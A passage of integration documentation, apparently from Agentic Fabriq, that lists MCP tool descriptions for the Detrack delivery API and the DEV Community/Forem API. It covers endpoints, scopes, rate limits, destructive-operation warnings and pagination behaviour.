jobs via DELETE /dn/jobs. DESTRUCTIVE AND IRREVERSIBLE: permanently delete the jobs you name, each by its D.O. number. Update / Delete up to 100 jobs per request. This tool takes a REQUIRED, non-empty `jobs` array -- one entry per job, `do_number` required, with `date` and `type` to disambiguate a D.O. number used on more than one job -- and there is deliberately no way to express a call that names no job: Detrack's route is addressed at the whole collection and only the body narrows it. Detrack answers 200 with a per-job `ok` flag and 422 with `code: deletion_failed` plus an `errors[]` list naming the undeletable ones, so a partial success is normal and must be read entry by entry. Read the jobs first if you may need them: nothing here restores one. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. DELETE /api/v1/detrack/dn/jobs. Scopes: api. detrack_delete_dn_jobs_by_do_number (write, destructive) — Delete job via DELETE /dn/jobs/{do_number}. DESTRUCTIVE AND IRREVERSIBLE: permanently delete one job addressed by its D.O. number in the path, optionally narrowed by `type`. Detrack answers 204 with no body, so confirm by re-reading rather than by the status. If the same D.O. number exists on several dates, use the date-addressed delete instead of guessing which one this reaches. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. DELETE /api/v1/detrack/dn/jobs/{do_number}. Scopes: api. detrack_delete_dn_jobs_by_do_number_by_date (write, destructive) — Delete job for a date via DELETE /dn/jobs/{do_number}/{date}. DESTRUCTIVE AND IRREVERSIBLE: permanently delete the job with this D.O. number on this date (YYYY-MM-DD). This is the precise address -- prefer it over the D.O.-only delete whenever the number may be reused. Detrack answers 204 with no body, so confirm by re-reading rather than by the status. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. DELETE /api/v1/detrack/dn/jobs/{do_number}/{date}. Scopes: api. detrack_delete_dn_jobs_delete (write, destructive) — Delete job by D.O. number via DELETE /dn/jobs/delete. DESTRUCTIVE AND IRREVERSIBLE: permanently delete one job, addressed by the required `do_number` query parameter, with `date` and `type` to disambiguate a D.O. number used more than once. Detrack answers 204 with no body, so confirm the deletion by re-reading the job or the day's list rather than by the status alone. Nothing here restores it. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. DELETE /api/v1/detrack/dn/jobs/delete. Scopes: api. detrack_get_dn_depots (read) — List depots via GET /dn/depots. List the account's depots -- the fixed origins and destinations a route is planned from. Page with `page` and `limit`. Reads only; changes nothing. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. GET /api/v1/detrack/dn/depots. Scopes: api. detrack_get_dn_jobs (read) — List jobs via GET /dn/jobs. List the account's jobs, newest page first, filtered by any combination of date, type, driver, status, D.O. number and free-text query. Page through with `page` and `limit` (maximum 100 per page) and follow `links.next` until it is null rather than stopping on a short page. Reads only; changes nothing. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. GET /api/v1/detrack/dn/jobs. Scopes: api. detrack_get_dn_jobs_by_do_number (read) — Retrieve job via GET /dn/jobs/{do_number}. Retrieve one job by its D.O. number in the path, optionally narrowed to a `Delivery` or a `Collection`. Reads only; changes nothing. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. GET /api/v1/detrack/dn/jobs/{do_number}. Scopes: api. detrack_get_dn_jobs_by_do_number_by_date (read) — Retrieve job for a date via GET /dn/jobs/{do_number}/{date}. Retrieve the job with this D.O. number ON THIS DATE (YYYY-MM-DD), which is the unambiguous address when a D.O. number is reused across days. Reads only; changes nothing. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. GET /api/v1/detrack/dn/jobs/{do_number}/{date}. Scopes: api. detrack_get_dn_jobs_export_status_by_id (read) — Get batch export status via GET /dn/jobs/export/status/{id}. Check a queued export and collect its download URL. This is for checking the progress of the batch export. It will provide a download URL once exporting has completed. You may then use the download URL to download the exported file. NOTE WHAT THAT URL IS: a pre-signed storage link that grants the exported file to ANYONE who holds it, without a Detrack credential, until it expires a few minutes later (the vendor's own example carries `X-Amz-Expires=900`). Treat it as short-lived shared-secret material -- fetch it and discard it rather than storing it or passing it on. Reads only; changes nothing. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. GET /api/v1/detrack/dn/jobs/export/status/{id}. Scopes: api. detrack_get_dn_jobs_show (read) — Retrieve job by D.O. number via GET /dn/jobs/show. Retrieve one job by its D.O. number, passed in the query string. Add `date` and `type` when the same D.O. number is used on more than one job. Prefer this over the path-addressed retrieve when the D.O. number contains characters that are awkward in a URL path. Reads only; changes nothing. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. UNVERIFIED ROUTING: Detrack's own API description writes this path with a trailing slash and Agentic Fabriq sends it without one. If this tool answers 404 where you expected data, that spelling is the first thing to suspect and not a missing record. GET /api/v1/detrack/dn/jobs/show. Scopes: api. detrack_get_dn_routes (read) — List routes for a date via GET /dn/routes. List the routes planned for one date (YYYY-MM-DD, required), with their vehicles, depots and stop sequences. Page with `page` and `limit` (maximum 100). Reads only; changes nothing. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. UNVERIFIED ROUTING: Detrack's own API description writes this path with a trailing slash and Agentic Fabriq sends it without one. If this tool answers 404 where you expected data, that spelling is the first thing to suspect and not a missing record. GET /api/v1/detrack/dn/routes. Scopes: api. detrack_post_dn_depots (write) — Create depot via POST /dn/depots. Create one depot. A depot must include at least a name and an address that can be geocoded. The name is the depot's business key: the bulk update and bulk delete tools address depots by name, and a route's `depot_location` may name one, so a name that collides with an existing depot makes both ambiguous. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. POST /api/v1/detrack/dn/depots. Scopes: api. detrack_post_dn_depots_bulk (write) — Bulk create depots via POST /dn/depots/bulk. Create several depots in one request. Create multiple depot locations in one request. Each entry needs at least a name and a geocodable address; Detrack answers with a per-depot outcome, so read the response entry by entry. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. POST /api/v1/detrack/dn/depots/bulk. Scopes: api. detrack_post_dn_jobs (write) — Create job via POST /dn/jobs. Create one delivery or collection job. `do_number`, `date` and `address` are required; every other Job attribute is optional and is listed in the input schema. The D.O. number is the job's business key on this API -- every retrieve, update and delete tool addresses a job by it -- so reusing one for a second job on the same date makes both unaddressable. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. POST /api/v1/detrack/dn/jobs. Scopes: api. detrack_post_dn_jobs_bulk (write) — Batch create jobs via POST /dn/jobs/bulk. Create many jobs in one request. Create up to 100 jobs per request. Each item is a whole Job object with `do_number`, `date` and `address` required. A 422 reports per-item outcomes rather than failing the batch, so read the response's `data` array item by item instead of trusting the status alone. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. POST /api/v1/detrack/dn/jobs/bulk. Scopes: api. detrack_post_dn_jobs_bulk_export (read) — Start batch export via POST /dn/jobs/bulk/export. Queue an export of shipping labels or proof-of-delivery documents for a list of jobs. This is for exporting of shipping labels or pod in batches by providing a list of DO number in the query object and an optional date. Limited to 1000 jobs per request. Nothing is returned but an export id -- poll detrack_get_dn_jobs_export_status_by_id with it until the status reads completed. Queuing an export changes nothing in the operation: no job, depot or route is touched, only an export record is created for you to poll. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. POST /api/v1/detrack/dn/jobs/bulk/export. Scopes: api. detrack_post_dn_jobs_reattempt (write) — Reattempt job via POST /dn/jobs/reattempt. Schedule a new delivery or collection attempt for a job that was not completed. Name the job by `do_number` (plus `date` and `type` to disambiguate) and give `new_date` when the reattempt is for a different day. This creates work in the operation, so check the job's current status first. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. POST /api/v1/detrack/dn/jobs/reattempt. Scopes: api. detrack_post_dn_jobs_search (read) — Search jobs via POST /dn/jobs/search. Search jobs across a rich set of criteria the list tool does not offer -- date and start-date ranges, customer, address, contact, groups, vehicles, item fields, reasons, statuses, zone, run and invoice numbers. Page with `page` and `limit` (maximum 100) inside the `data` object and follow `links.next`. This is a POST because the criteria are a document, not because it writes: it reads only and changes nothing. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. POST /api/v1/detrack/dn/jobs/search. Scopes: api. detrack_post_dn_routes_plan (write) — Plan or replan a route via POST /dn/routes/plan. Plan a route over a set of jobs, or replan an existing one. Creates a new route or updates an existing one if a route with the same name and date already exists. This endpoint performs planning and routing operations, assigning jobs to a route and automatically computing an optimized sequence. THIS REASSIGNS WORK: the jobs in `job_ids` are attached to this route's vehicles in the computed order, and replanning an existing route by reusing its name and date replaces what was there. `name`, `date`, `vehicles`, `job_ids` and `depot_location` are required, and vehicle working hours are configured in the Detrack application rather than sent here. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. POST /api/v1/detrack/dn/routes/plan. Scopes: api. detrack_put_dn_depots (write) — Bulk update depots via PUT /dn/depots. Update many depots in one request, each addressed by `name`, carrying a `data` object with only the fields to change. Detrack answers 200 with a per-depot `ok` flag, so read the response entry by entry rather than trusting the status. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. PUT /api/v1/detrack/dn/depots. Scopes: api. detrack_put_dn_jobs (write) — Batch update jobs via PUT /dn/jobs. Update many jobs in one request, each addressed by its D.O. number. Update / Delete up to 100 jobs per request. Each entry carries the `do_number` to match, an optional `date` and `type` to disambiguate it, and a `data` object holding ONLY the fields to change -- this is a partial update, not a replacement. Set `overwrite` to true on an entry to let it modify a job that is already completed. A 422 reports per-entry outcomes in `data[].ok` and names the failures in `errors[]`, so a non-200 does not mean nothing changed. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. PUT /api/v1/detrack/dn/jobs. Scopes: api. detrack_put_dn_jobs_by_do_number (write) — Update job via PUT /dn/jobs/{do_number}. Update one job addressed by its D.O. number in the path, sending the job under `data`. SEND A COMPLETE JOB, not a sparse patch: the sealed contract marks `do_number`, `date` and `address` required here and its own example sends the whole record, and whether a partial body is accepted on this route is not documented. When you want a field-level update instead, use detrack_put_dn_jobs_update, which Detrack documents as taking only the fields to change. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. PUT /api/v1/detrack/dn/jobs/{do_number}. Scopes: api. detrack_put_dn_jobs_by_do_number_by_date (write) — Update job for a date via PUT /dn/jobs/{do_number}/{date}. Update the job with this D.O. number on this date (YYYY-MM-DD), sending the job under `data`. SEND A COMPLETE JOB, not a sparse patch: the sealed contract marks `do_number`, `date` and `address` required here and its own example sends the whole record, and whether a partial body is accepted on this route is not documented. When you want a field-level update instead, use detrack_put_dn_jobs_update. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. PUT /api/v1/detrack/dn/jobs/{do_number}/{date}. Scopes: api. detrack_put_dn_jobs_update (write) — Update job by D.O. number via PUT /dn/jobs/update. Update one job, addressed by the `do_number` in the request body, with `date` and `type` to disambiguate. Send under `data` ONLY the fields to change -- this is a partial update, not a replacement, and omitted fields are left alone. Detrack publishes no sandbox: this runs against the live operation that drivers and customers are looking at. Detrack allows 60 requests per minute per account and answers 429 beyond that; a 429 means slow down and is never a problem with the credential. PUT /api/v1/detrack/dn/jobs/update. Scopes: api. ================================================================================ ## DEV Community URL: https://www.agenticfabriq.com/integrations/devto Section: Integrated Tools DEV Community — 114 MCP tools Provider key: devto. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. devto_delete_api_badge_achievements_by_id (write, destructive) — Revoke a badge award by deleting the badge achievement. Requires administrator privileges. via DELETE /api/badge_achievements/{id} DELETE /api/v1/devto/api/badge_achievements/{id}. Scopes: api. devto_delete_api_badges_by_id (write, destructive) — Delete a badge configuration from the system by ID. Requires administrator privileges. via DELETE /api/badges/{id} DELETE /api/v1/devto/api/badges/{id}. Scopes: api. devto_delete_api_events_by_id (write, destructive) — Delete an event. Requires administrator privileges. via DELETE /api/events/{id} DELETE /api/v1/devto/api/events/{id}. Scopes: api. devto_delete_api_organizations_by_id (write, destructive) — This endpoint allows the client to delete a single organization, specified by id via DELETE /api/organizations/{id} DELETE /api/v1/devto/api/organizations/{id}. Scopes: api. devto_delete_api_pages_by_id (write, destructive) — Delete a custom page from the system by ID. Requires administrative privileges. via DELETE /api/pages/{id} DELETE /api/v1/devto/api/pages/{id}. Scopes: api. devto_delete_api_segments_by_id (write, destructive) — Delete an audience segment specified by ID. Constraints: - Audience segments cannot be deleted if they are currently assigned to any active or pending Billboards. via DELETE /api/segments/{id} DELETE /api/v1/devto/api/segments/{id}. Scopes: api. devto_delete_api_surveys_by_id_or_slug (write, destructive) — Delete an existing survey. Requires Administrator privileges. via DELETE /api/surveys/{id_or_slug} DELETE /api/v1/devto/api/surveys/{id_or_slug}. Scopes: api. devto_delete_api_users_by_id_limited (write, destructive) — Remove the limited role, restoring the user to general privileges. Requires admin or moderator role. via DELETE /api/users/{id}/limited DELETE /api/v1/devto/api/users/{id}/limited. Scopes: api. devto_delete_api_users_by_id_spam (write, destructive) — Unflag a user as spammer, restoring general permissions. Requires admin or moderator role. via DELETE /api/users/{id}/spam DELETE /api/v1/devto/api/users/{id}/spam. Scopes: api. devto_delete_api_users_by_id_trusted (write, destructive) — Revoke the trusted role, returning the user to general status. Requires admin or moderator role. via DELETE /api/users/{id}/trusted DELETE /api/v1/devto/api/users/{id}/trusted. Scopes: api. devto_get_api_agent_sessions (read) — Retrieve a list of the authenticated user's agent sessions. Agent Sessions Overview: - Agent sessions represent coding conversation transcripts uploaded from CLI tools (like Claude Code). - Used by the developer portal to render interactive walkthroughs or session summaries. - Requires authentication. via GET /api/agent_sessions GET /api/v1/devto/api/agent_sessions. Scopes: api. devto_get_api_agent_sessions_by_id (read) — Retrieve details for a single agent session by unique slug or ID. Integration Tip: - Returns the complete session structure including parsed message logs, token counts, slices, and tool execution metadata. via GET /api/agent_sessions/{id} GET /api/v1/devto/api/agent_sessions/{id}. Scopes: api. devto_get_api_agent_sessions_by_id_raw_url (read) — Retrieve a temporary presigned GET URL to download the original raw transcript file from S3. via GET /api/agent_sessions/{id}/raw_url GET /api/v1/devto/api/agent_sessions/{id}/raw_url. Scopes: api. devto_get_api_analytics_dashboard (read) — Retrieve a complete bundled metrics package (totals, history, top posts) for rendering dashboard landing pages. via GET /api/analytics/dashboard GET /api/v1/devto/api/analytics/dashboard. Scopes: api. devto_get_api_analytics_follower_engagement (read) — Retrieve stats detailing new follower growth and engagement over time. via GET /api/analytics/follower_engagement GET /api/v1/devto/api/analytics/follower_engagement. Scopes: api. devto_get_api_analytics_heatmap (read) — Retrieve user activity heatmap metrics (commits, posts, reactions) grouped by weekdays and hours. via GET /api/analytics/heatmap GET /api/v1/devto/api/analytics/heatmap. Scopes: api. devto_get_api_analytics_historical (read) — Retrieve historical analytics data graphed over a time range. Time Range Formats: - start: Start date (e.g. 2024-01-01). Required. - end: End date (e.g. 2024-01-31). Defaults to current date if omitted. via GET /api/analytics/historical GET /api/v1/devto/api/analytics/historical. Scopes: api. devto_get_api_analytics_past_day (read) — Retrieve real-time hourly analytics statistics for the last 24 hours. Used for live graphs. via GET /api/analytics/past_day GET /api/v1/devto/api/analytics/past_day. Scopes: api. devto_get_api_analytics_referrers (read) — Retrieve traffic referring domains and URL source tracking metrics for articles. via GET /api/analytics/referrers GET /api/v1/devto/api/analytics/referrers. Scopes: api. devto_get_api_analytics_top_contributors (read) — Retrieve top organization contributors ordered by article engagement scores. via GET /api/analytics/top_contributors GET /api/v1/devto/api/analytics/top_contributors. Scopes: api. devto_get_api_analytics_totals (read) — Retrieve aggregated lifetime stats (views, reactions, comments) for articles. Scope Control: - Specify article_id to query a single post's metrics. - Specify organization_id to retrieve metrics across all articles owned by the target organization. via GET /api/analytics/totals GET /api/v1/devto/api/analytics/totals. Scopes: api. devto_get_api_articles (read) — This endpoint allows the client to retrieve a list of articles. "Articles" are all the posts that users create on DEV/Forem that typically show up in the feed. They can be a blog post, a discussion question, a help thread etc. but are referred to as articles within the code. By default it will return featured, published articles ordered by descending popularity. It supports pagination, each page will contain 30 articles by default. Query Parameter Usage Tips: - Filtering by Tags: - Use tag to filter articles containing a single exact tag (e.g. tag=discuss). - Use tags to retrieve articles containing *any* of the comma-separated list of tags (e.g. tags=javascript,css). - Use tags_exclude to filter out articles containing any of the comma-separated list of tags (e.g. tags_exclude=node,java). - Filtering by User / Organization: - Use username to retrieve articles belonging to a specific User or Organization. Articles are returned in reverse chronological publication order. - State Options: - Use state=fresh to fetch fresh articles. - Use state=rising to fetch rising/trending articles. - Combine state=all with username to fetch up to 1000 articles (both published and unpublished) from that user/organization in a single page. - Top / Popularity: - Use top=N to return the most popular articles published in the last N days (e.g. top=7 for top articles of the week, top=30 for top of the month). This parameter can be combined with tag to find top articles in a specific niche. - Collections: - Use collection_id to retrieve articles belonging to a specific collection/series, sorted chronologically. via GET /api/articles GET /api/v1/devto/api/articles. Scopes: api. devto_get_api_articles_by_id (read) — This endpoint allows the client to retrieve a single published article given its unique numerical id. Integration Tip: - Returns the complete serialized article object including its HTML/markdown representation, tags, and author profile details. - To retrieve an article using its URL path structure instead of its numeric ID, use the /api/articles/{username}/{slug} endpoint. via GET /api/articles/{id} GET /api/v1/devto/api/articles/{id}. Scopes: api. devto_get_api_articles_by_username_by_slug (read) — This endpoint allows the client to retrieve a single published article given its username and slug (the URL-friendly path identifier). Usage Tip: - Handy for resolving absolute Forem/DEV article URLs (e.g., https://dev.to/username/slug) into their corresponding API data models. via GET /api/articles/{username}/{slug} GET /api/v1/devto/api/articles/{username}/{slug}. Scopes: api. devto_get_api_articles_latest (read) — This endpoint allows the client to retrieve a list of articles ordered strictly by descending publication date. Usage Tips: - Bypasses all Forem/DEV feed personalization and popularity algorithms. - Ideal for building RSS feeds, chronological timelines, or "latest posts" widgets. - Supports standard page and per_page query parameters. via GET /api/articles/latest GET /api/v1/devto/api/articles/latest. Scopes: api. devto_get_api_articles_me (read) — This endpoint allows the client to retrieve a list of published articles on behalf of an authenticated user. "Articles" are all the posts that users create on DEV that typically show up in the feed. They can be a blog post, a discussion question, a help thread etc. but is referred to as article within the code. Published articles will be in reverse chronological publication order. It will return published articles with pagination. By default a page will contain 30 articles. via GET /api/articles/me GET /api/v1/devto/api/articles/me. Scopes: api. devto_get_api_articles_me_all (read) — This endpoint allows the client to retrieve a list of all articles on behalf of an authenticated user. "Articles" are all the posts that users create on DEV that typically show up in the feed. They can be a blog post, a discussion question, a help thread etc. but is referred to as article within the code. It will return both published and unpublished articles with pagination. Unpublished articles will be at the top of the list in reverse chronological creation order. Published articles will follow in reverse chronological publication order. By default a page will contain 30 articles. via GET /api/articles/me/all GET /api/v1/devto/api/articles/me/all. Scopes: api. devto_get_api_articles_me_published (read) — This endpoint allows the client to retrieve a list of published articles on behalf of an authenticated user. "Articles" are all the posts that users create on DEV that typically show up in the feed. They can be a blog post, a discussion question, a help thread etc. but is referred to as article within the code. Published articles will be in reverse chronological publication order. It will return published articles with pagination. By default a page will contain 30 articles. via GET /api/articles/me/published GET /api/v1/devto/api/articles/me/published. Scopes: api. devto_get_api_articles_me_unpublished (read) — This endpoint allows the client to retrieve a list of unpublished articles on behalf of an authenticated user. "Articles" are all the posts that users create on DEV that typically show up in the feed. They can be a blog post, a discussion question, a help thread etc. but is referred to as article within the code. Unpublished articles will be in reverse chronological creation order. It will return unpublished articles with pagination. By default a page will contain 30 articles. via GET /api/articles/me/unpublished GET /api/v1/devto/api/articles/me/unpublished. Scopes: api. devto_get_api_articles_search (read) — This endpoint allows the client to search for articles. Search Guidance: - q: The search query term. Matches against article titles, tags, and body content. - top: Restricts search results to articles published within the last N days. - page & per_page: Standard pagination support. Use this to display results sequentially on a search results page. via GET /api/articles/search GET /api/v1/devto/api/articles/search. Scopes: api. devto_get_api_articles_semantic_search (read) — Allows authenticated clients to search articles using Forem's semantic embeddings database. via GET /api/articles/semantic_search GET /api/v1/devto/api/articles/semantic_search. Scopes: api. devto_get_api_badge_achievements (read) — Retrieve a list of all badge achievements (awarded badges) in the system. Requires administrator privileges. via GET /api/badge_achievements GET /api/v1/devto/api/badge_achievements. Scopes: api. devto_get_api_badge_achievements_by_id (read) — Retrieve details of a specific badge award/achievement by ID. via GET /api/badge_achievements/{id} GET /api/v1/devto/api/badge_achievements/{id}. Scopes: api. devto_get_api_badges (read) — Retrieve a list of all badges available on the platform. Badges Overview: - Badges recognize achievements (e.g., "Top Writer", "Beloved Community Member", or anniversary milestones). - Publicly visible on user profiles. via GET /api/badges GET /api/v1/devto/api/badges. Scopes: api. devto_get_api_badges_by_id (read) — Retrieve details of a single badge by unique numeric ID. via GET /api/badges/{id} GET /api/v1/devto/api/badges/{id}. Scopes: api. devto_get_api_billboards (read) — Retrieve a list of all billboards configured in the system. ### Billboards Overview: - Billboards are custom promotional ads, notification banners, or call-to-actions shown on the Forem website. - Requires administrative privileges. - Returned objects include layout code, scheduling parameters, geo-targeting configurations, and custom target audience segment associations. via GET /api/billboards GET /api/v1/devto/api/billboards. Scopes: api. devto_get_api_billboards_by_id (read) — Retrieve full configurations of a single billboard by ID. Requires admin credentials. via GET /api/billboards/{id} GET /api/v1/devto/api/billboards/{id}. Scopes: api. devto_get_api_comments (read) — This endpoint allows the client to retrieve all comments belonging to an article or podcast episode as threaded conversations. Threaded Structure & Pagination Tips: - Threaded Format: Comments are returned as a tree structure (nested arrays of replies). Each top-level comment contains its nested child comments recursively. - Query Constraints: You must provide either a_id (Article ID) OR p_id (Podcast Episode ID) to fetch comments. Specifying both is not supported. - Pagination: When paginating, the page parameter filters the *top-level* comments only. All replies to those top-level comments are returned nested inline, regardless of page index. - If the page parameter is omitted, the response returns the full comment tree in a single payload. via GET /api/comments GET /api/v1/devto/api/comments. Scopes: api. devto_get_api_comments_by_id (read) — This endpoint allows the client to retrieve a specific comment and all of its nested descendant replies. Integration Tip: - Handy for linking directly to a deep comment thread or loading individual comment replies on demand. via GET /api/comments/{id} GET /api/v1/devto/api/comments/{id}. Scopes: api. devto_get_api_concepts (read) — Retrieve all accessible concepts in the system. Concepts Overview: - Concepts are semantic tags generated automatically by analyzing article text using ML embeddings (gemini-embedding-2), rather than explicit user tags. - Primarily used for advanced semantic categorization, automated feeds, and interest mapping. via GET /api/concepts GET /api/v1/devto/api/concepts. Scopes: api. devto_get_api_concepts_by_id (read) — Retrieve details, settings, and popularity metrics of a single concept by ID. Integration Tip: - Includes the semantic description, similarity thresholds, parent concept mappings, and scores. via GET /api/concepts/{id} GET /api/v1/devto/api/concepts/{id}. Scopes: api. devto_get_api_concepts_by_id_articles (read) — Retrieve articles classified under this concept. Parameter Guidelines: - sort: Set to score to sort articles by article popularity score descending. If omitted or set to any other value, sorting defaults to cosine similarity (closest first) secondary sorted by article score. via GET /api/concepts/{id}/articles GET /api/v1/devto/api/concepts/{id}/articles. Scopes: api. devto_get_api_concepts_search (read) — Allows authenticated clients to search concepts using Forem's semantic embeddings database. via GET /api/concepts/search GET /api/v1/devto/api/concepts/search. Scopes: api. devto_get_api_events (read) — Retrieve a list of events on the platform. Query Parameters: - type_of: Filter events by their type (live_stream, takeover, other, challenge). via GET /api/events GET /api/v1/devto/api/events. Scopes: api. devto_get_api_events_by_id (read) — Retrieve a single event by ID. via GET /api/events/{id} GET /api/v1/devto/api/events/{id}. Scopes: api. devto_get_api_followers_users (read) — This endpoint allows the client to retrieve a list of the followers they have. ### Integration & Pagination Guidance: - "Followers" are other users registered on the platform who follow the authenticated user. - Supports pagination, defaulting to 80 followers per page. - The sort query parameter determines the sorting order based on when the follow relationship was established. via GET /api/followers/users GET /api/v1/devto/api/followers/users. Scopes: api. devto_get_api_follows_tags (read) — Retrieve the list of tags followed by the authenticated user. ### Integration & Personalization Guidance: - Requires authentication. - Returns tags in ascending/popularity order based on user interactions. - Useful for customizing the home feed interface, constructing personalized sidebar navigation, or displaying a user's customized topic preferences in a dashboard. via GET /api/follows/tags GET /api/v1/devto/api/follows/tags. Scopes: api. devto_get_api_health_checks_app (read) — Basic application liveness check. Usage Guidance: - Verifies that the Rails application process is running and responding to requests. - Does not check database or cache connectivity. - Typically used by load balancers, container orchestrators (like Kubernetes), or uptime checkers to verify container health. Needs the Forem instance's own health-check token, which is a server configuration value (HEALTH_CHECK_TOKEN) rather than anything a DEV account can mint: measured 2026-09-16, dev.to answers 401 to this call with a valid DEV API key and no token, although the contract marks the header optional. Pass it as health_check_token if you operate the instance; Agentic Fabriq never stores it and sends it only on this call. via GET /api/health_checks/app GET /api/v1/devto/api/health_checks/app. Scopes: api. devto_get_api_health_checks_cache (read) — Cache connection health check. Usage Guidance: - Verifies that the application can successfully ping the Redis cache instance. - Used to monitor cache and background worker queue connection health. Needs the Forem instance's own health-check token, which is a server configuration value (HEALTH_CHECK_TOKEN) rather than anything a DEV account can mint: measured 2026-09-16, dev.to answers 401 to this call with a valid DEV API key and no token, although the contract marks the header optional. Pass it as health_check_token if you operate the instance; Agentic Fabriq never stores it and sends it only on this call. via GET /api/health_checks/cache GET /api/v1/devto/api/health_checks/cache. Scopes: api. devto_get_api_health_checks_database (read) — Database connection health check. Usage Guidance: - Verifies that the application can successfully query the primary PostgreSQL database. - Used to monitor database pool status and connection health. Needs the Forem instance's own health-check token, which is a server configuration value (HEALTH_CHECK_TOKEN) rather than anything a DEV account can mint: measured 2026-09-16, dev.to answers 401 to this call with a valid DEV API key and no token, although the contract marks the header optional. Pass it as health_check_token if you operate the instance; Agentic Fabriq never stores it and sends it only on this call. via GET /api/health_checks/database GET /api/v1/devto/api/health_checks/database. Scopes: api. devto_get_api_instance (read) — Retrieve configuration details for the current Forem instance. Instance Metadata: - Bypasses authentication. - Returns public Forem version, branding parameters, community guidelines references, and supported features configurations. via GET /api/instance GET /api/v1/devto/api/instance. Scopes: api. devto_get_api_organizations (read) — This endpoint allows the client to retrieve a list of Dev organizations. It supports pagination, each page will contain 10 tags by default. via GET /api/organizations GET /api/v1/devto/api/organizations. Scopes: api. devto_get_api_organizations_by_id (read) — This endpoint allows the client to retrieve a single organization by their id via GET /api/organizations/{id} GET /api/v1/devto/api/organizations/by_id/{id}. Scopes: api. devto_get_api_organizations_by_organization_id_or_username_articles (read) — Retrieve a list of articles published by the organization. Path Parameter Options: - organization_id_or_username: Supports either the organization's unique numerical ID OR its string username (slug). - Returns articles in reverse chronological publication order. - Ideal for populating an organization's custom blog feed or publication listing. via GET /api/organizations/{organization_id_or_username}/articles GET /api/v1/devto/api/organizations/{organization_id_or_username}/articles. Scopes: api. devto_get_api_organizations_by_organization_id_or_username_users (read) — Retrieve a list of public user profiles associated with the organization. Path Parameter Options: - organization_id_or_username: Supports either the organization's unique numerical ID OR its string username (slug). - Ideal for displaying team member directory lists on organization/brand pages. via GET /api/organizations/{organization_id_or_username}/users GET /api/v1/devto/api/organizations/{organization_id_or_username}/users. Scopes: api. devto_get_api_organizations_by_username (read) — Retrieve public profile information for a single organization by its username. Integration Tip: - Bypasses authentication. - Returns details like Tech Stack, Tagline, Story, website URLs, and joined date. via GET /api/organizations/{username} GET /api/v1/devto/api/organizations/{username}. Scopes: api. devto_get_api_pages (read) — Retrieve details for all Page objects in the system. ### Pages Overview: - Pages are custom static or dynamic views hosted on the Forem instance. - Publicly visible unless restricted. - Helpful for building custom menus, rendering site policies, or embedding custom forms. via GET /api/pages GET /api/v1/devto/api/pages. Scopes: api. devto_get_api_pages_by_id (read) — Retrieve details for a single Page object specified by ID. via GET /api/pages/{id} GET /api/v1/devto/api/pages/{id}. Scopes: api. devto_get_api_podcast_episodes (read) — Retrieve a list of podcast episodes published on the platform. ### Integration Guidance: - Bypasses authentication (can be accessed publicly). - Only returns active episodes belonging to published/reachable podcasts. - Episodes are returned in reverse chronological order based on their publication date. - The username query parameter is the unique slug of the podcast channel (e.g. codenewbie). It supports pagination, each page will contain 30 episodes by default. via GET /api/podcast_episodes GET /api/v1/devto/api/podcast_episodes. Scopes: api. devto_get_api_profile_images_by_username (read) — Retrieve the profile image URL and configuration for a user or organization by username. ### Integration Details: - Bypasses authentication. - Convenient for quickly displaying avatars/icons in comments lists, headers, or sidebar elements without requesting the full user profile model. via GET 